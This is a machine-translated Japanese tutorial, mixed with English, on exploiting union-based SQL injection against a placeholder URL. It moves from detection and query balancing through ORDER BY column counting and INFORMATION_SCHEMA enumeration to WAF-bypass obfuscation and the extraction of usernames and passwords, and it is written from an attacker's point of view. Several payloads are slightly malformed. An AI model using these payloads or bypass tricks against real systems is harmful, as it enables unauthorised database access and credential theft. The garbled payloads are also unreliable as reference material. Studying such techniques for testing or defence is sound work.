ソース:
脆弱性:
SQLi を見つけて活用するための流れまたは手順:
- SQL インジェクション脆弱性の検出と確認。
- SQL クエリのバランスをとる。
- ORDER BY を使用して列の数をカウントします。
- 脆弱な列にクエリを出力および挿入します。
- 現在のデータベースからテーブル名を抽出しています。
- 抽出されたテーブルから列を抽出します。
- 抽出された列からデータを抽出します。
各ステップの説明:
1.SQL インジェクション脆弱性の検出と確認:
通常、クエリを一重引用符で区切るだけで、特定のエンドポイントの SQLi を検出します( ',''
) 、二重引用符( ",""
)、傾き( `
, ``
), /*,#,;#
など…シナリオのケースに完全に依存します。例:
www.xyz.com/content.php?id=10'
www.xyz.com/content.php?id=10 "
www.xyz.com/content.php?id=10 `
Web ページに何らかの軽微な変更または重大な変更が示された場合、そのエンドポイントに SQLi が存在する可能性があります。
2. SQL クエリのバランスをとる:
www.xyz.com/content.php?id=10 '-- -
クエリのバランス調整は、単にコメントアウトするか、次のコマンドを使用することで実行できます。 -- , -- -,--+, and so on .
例: www.xyz.com/content.php?id=10 '-- -
クエリのバランスをとった後、ターゲットの Web ページは通常の状態 (クエリを中断する前と同じ) になります。
3. ORDER BY を使用して列の数をカウントします。
列数をカウントするには「ORDER BY」を使用します。これは反復的なプロセスです。 列数 = 27 としましょう。
次に、この「ORDER BY」プロセスを開始し、列数が見つかるまで 5 間隔で繰り返す。
例: ORDER BY 5 ,ORDER BY 10-- -,ORDER BY 15-- -,ORDER BY 20-- -,ORDER BY 25-- -,ORDER BY 5,ORDER BY 26-- -,ORDER BY 27-- -
例: www.xyz.com/content.php?id=10' ORDER BY 27-- -
NOTE: From
ORDER BY 5 to ORDER BY 25, the
webPage will show a state that we already encountered when we balancing
the query by -- -.And Once you reached to ORDER BY 30-- -,which
exceeeds the number of columns that is 27.So,the page will show us a
state we already encountered when we break the query by using '.Now,from
our intuition we know that columns might be present in-between number
25 to 35.
4.脆弱な列へのクエリの出力と挿入:
列の数を数えた後、注入可能な列を見つけて出力する必要があります。
そのためには、UNION SELECT 1、2、3、4、5、6 などを実行するだけです…
注入可能な列が 6 で、「ORDER BY」を使用してカウントした列が 9 であるとします。したがって、クエリは次のようになります。 UNION SELECT 1,2,3,4,5,6,7,8,9-- -.
例: www.xyz.com/content.php?id=10' UNION SELECT 1,2,3,4,5,@@version,7,8,9-- -
注: この場合は 6 である注入可能カラムの位置を使用し、次のように置き換えます。 @@version.
5.現在のデータベースからテーブル名を抽出します。
通常、テーブル名を抽出するには TABLE_NAME を使用します。
クエリは次のようになります。
www.xyz.com/content.php?id=10' UNION
SELECT 1,2,3,4,5,TABLE_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES WHERE
TABLE_SCHEMA=database()-- -,UNION SELECT
1,2,3,4,5,TABLE_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES-- -
database():Its a current database.
注: SQLi を防ぐために WAF は Union、select、table_name、information_schema.tables などのキーワードをブロックし、403 禁止リクエストに直面する可能性があります。
克服 するには、特殊文字の間にクエリを隠し、WAF をバイパスする他の手法を使用します。
/*!50000uniOn*/+/*!50000SeLect*/、#####union#####,uni%0Bon,SeL%00ecT%00 など
6.抽出されたテーブルから列を抽出します。
www.xyz.com/content.php?id=10' UNION
SELECT 1,2,3,4,5,COLUMN_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES WHERE
TABLE_SCHEMA=database() AND TABLE_NAME="ADMIN"-- -,UNION SELECT
1,2,3,4,5,COLUMN_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES-- -,UNION
SELECT 1,2,3,4,5,COLUMN_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES WHERE
TABLE_SCHEMA=database(),UNION SELECT
1,2,3,4,5,COLUMN_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES WHERE
TABLE_SCHEMA=database() limit 0,1-- -,UNION SELECT
1,2,3,4,5,COLUMN_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES WHERE
TABLE_SCHEMA=database() limit 1,1-- -,UNION SELECT
1,2,3,4,5,/*!50000COLUMN_NAME*,7,8,9+/*!50000FROM*/+/*!50000INFORMATION_SCHEMA*/.TABLES+/*!50000WHERE*/+/*!50000TABLE_SCHEMA=*//*!50000database()
limit 1,1-- -
の概念を理解してください。 注:テーブルと列の構造ツリー
7.抽出された列からデータを抽出します。
ハッカーとして、パスワード認証情報、ログイン情報(ユーザー名&&パスワード)、管理者アクセスなどのユーザー機密データへのアクセスを本当に望んでいます。
table_name と column_name を取得したら、その列に格納されているデータ値を取得します。
FOR EXAMPLE: www.xyz.com/content.php?id=10'UNION SELECT 1,2,3,4,5,CONCAT(username,"-->",password,),7,8,9+FROM+USER-- -
column_name:username,password
table_name=USER
そして、Web 開発者は通常、信頼性を高めるためにデータを何らかの構造形式で編成。信頼性とは、読み取り、書き込み、理解が容易であることを意味します (user,admin,is_admin,user_id,user_pwd)。
この記事全体はすべて UNION BASED エラーとそのエクスプロイトに関するものですが、他の種類の SQL インジェクション (SQLi) とそのエクスプロイト (ERROR ベース、時間スリープ ベース(SLEEP(20))、BLIND ベース、BLIND-BOOLEAN ベースなど) もあります。 …
ほなほな。